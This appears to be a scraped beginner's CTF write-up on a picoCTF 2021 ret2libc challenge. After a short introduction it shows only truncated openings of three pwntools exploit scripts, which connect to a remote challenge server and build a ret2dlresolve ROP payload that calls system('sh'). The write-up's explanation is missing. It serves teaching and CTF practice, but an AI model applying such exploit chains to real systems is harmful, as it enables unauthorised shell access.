Ok so beforing going through the challenge from pico-21 , I want to say it's ez ret2libc attack which you can almost found in every CTF's but I want to make it as much as detailed for those who are learning for the first time you can see this video but pe patient and complete you will learn a lot.
So let's start whenever you get a binary first try to run it and analyse it's behaviour but in this case when i run the binary :
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| from pwn import * | |
| binary = context.binary = ELF('./baby_bof') | |
| context.log_level = 'INFO' | |
| if not args.REMOTE: | |
| context.log_file = 'local.log' | |
| libc = binary.libc | |
| p = process(binary.path) | |
| else: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #OhBabyBaby | |
| from pwn import * | |
| binary = context.binary = ELF('./ohbabybaby') | |
| p = remote('185.14.184.242',12990) | |
| #p = process(binary.path) | |
| p.sendline() | |
| p.sendline() | |
| y = p.recvuntil('Did you enjoy?').decode() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| from pwn import * | |
| binary = context.binary = ELF('./JIE') | |
| rop = ROP(binary) | |
| ret = rop.find_gadget(['ret'])[0] | |
| dl = Ret2dlresolvePayload(binary, symbol='system', args=['sh']) | |
| rop.raw(ret) |